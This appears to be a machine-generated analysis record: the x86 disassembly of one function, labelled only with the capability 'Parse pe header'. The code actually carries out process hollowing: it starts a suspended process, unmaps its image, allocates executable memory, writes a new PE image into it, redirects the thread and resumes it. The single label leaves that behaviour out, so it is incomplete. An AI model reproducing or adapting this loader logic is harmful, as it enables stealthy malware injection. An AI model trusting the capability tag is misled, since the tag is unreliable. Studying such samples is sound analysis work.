Function at 0x4da7d8
Capabilities:
Parse pe header

Disassembly:
push ebp
mov ebp, esp
add esp, 0xffffff8c
push ebx
push esi
push edi
mov esi, ecx
mov dword [ebp - 8], edx
mov dword [ebp - 4], eax
mov eax, dword [ebp - 4]
call fcn.004d4a40
mov eax, dword [ebp - 8]
call fcn.004d4a40
xor eax, eax
push ebp
push 0x408598
push dword fs:[eax]
mov dword fs:[eax], esp
cmp dword [ebp - 8], 0
je 0x4da82a
push 0x4085b4
push dword [ebp - 4]
push 0x4085c0
push dword [ebp - 8]
lea eax, [ebp - 8]
mov edx, 4
call fcn.004d4918
xor eax, eax
mov dword [ebp - 0xc], eax
mov ebx, esi
cmp word [ebx], 0x5a4d
jne 0x4daa65
mov edi, esi
add edi, dword [ebx + 0x3c]
cmp dword [edi], 0x4550
jne 0x4daa65
lea eax, [ebp - 0x74]
xor ecx, ecx
mov edx, 0x44
call fcn.004d3df4
lea eax, [ebp - 0x30]
xor ecx, ecx
mov edx, 0x10
call fcn.004d3df4
mov dword [ebp - 0x74], 0x44
lea eax, [ebp - 0x30]
push eax
lea eax, [ebp - 0x74]
push eax
push 0
push 0
push 4
push 0
push 0
push 0
mov eax, dword [ebp - 8]
call fcn.004d4a50
push eax
mov eax, dword [ebp - 4]
call fcn.004d4a50
push eax
mov eax, dword [0x40ce98]
mov eax, dword [eax]
call eax
test al, al
je 0x4daa65
lea eax, [ebp - 0x14]
call fcn.004da7a4
mov dword [ebp - 0x10], eax
cmp dword [ebp - 0x10], 0
je 0x4daa50
mov eax, dword [ebp - 0x10]
mov dword [eax], 0x10007
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x2c]
push eax
mov eax, dword [0x40cea0]
mov eax, dword [eax]
call eax
test al, al
je 0x4daa40
lea eax, [ebp - 0x20]
push eax
push 4
lea eax, [ebp - 0x18]
push eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [0x40cf04]
mov eax, dword [eax]
call eax
mov eax, dword [edi + 0x34]
cmp eax, dword [ebp - 0x18]
jne 0x4da961
mov eax, dword [edi + 0x34]
push eax
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [0x40ce2c]
mov eax, dword [eax]
call eax
test eax, eax
jne 0x4da942
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
push eax
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [0x40cebc]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x1c], eax
jmp 0x4da980
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
push 0
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [0x40cebc]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x1c], eax
jmp 0x4da980
push 0x40
push 0x3000
mov eax, dword [edi + 0x50]
push eax
mov eax, dword [edi + 0x34]
push eax
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [0x40cebc]
mov eax, dword [eax]
call eax
mov dword [ebp - 0x1c], eax
cmp dword [ebp - 0x1c], 0
je 0x4daa40
mov eax, esi
call fcn.004da720
mov esi, eax
mov edx, dword [edi + 0x34]
mov eax, dword [ebp - 0x1c]
cmp edx, eax
je 0x4da9bf
sub eax, dword [edi + 0x34]
push eax
push edi
push esi
call fcn.004da544
mov eax, dword [ebp - 0x1c]
mov dword [edi + 0x34], eax
mov eax, esi
add eax, dword [ebx + 0x3c]
mov ecx, 0xf8
mov edx, edi
call fcn.004d56fc
mov edx, dword [0x40cde4]
mov eax, 0x4085cc
call fcn.004d4ae4
dec eax
jge 0x4da9d7
call fcn.004d4618
lea eax, [ebp - 0x20]
push eax
mov eax, dword [edi + 0x50]
push eax
push esi
mov eax, dword [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x30]
push eax
call fcn.004d5694
lea eax, [ebp - 0x20]
push eax
push 4
lea eax, [ebp - 0x1c]
push eax
mov eax, dword [ebp - 0x10]
mov eax, dword [eax + 0xa4]
add eax, 8
push eax
mov eax, dword [ebp - 0x30]
push eax
call fcn.004d5694
mov eax, dword [edi + 0x28]
add eax, dword [ebp - 0x1c]
mov edx, dword [ebp - 0x10]
mov dword [edx + 0xb0], eax
mov eax, dword [ebp - 0x10]
push eax
mov eax, dword [ebp - 0x2c]
push eax
mov eax, dword [0x40ce3c]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
push eax
mov eax, dword [0x40ce78]
mov eax, dword [eax]
call eax
mov eax, dword [ebp - 0x2c]
mov dword [ebp - 0xc], eax
push 0x8000
push 0
mov eax, dword [ebp - 0x14]
push eax
call fcn.004d568c
cmp dword [ebp - 0xc], 0
jne 0x4daa65
push 0
mov eax, dword [ebp - 0x30]
push eax
mov eax, dword [0x40ce38]
mov eax, dword [eax]
call eax
xor eax, eax
pop edx
pop ecx
pop ecx
mov dword fs:[eax], edx
push 0x40859f
lea eax, [ebp - 8]
mov edx, 2
call fcn.004d4724
ret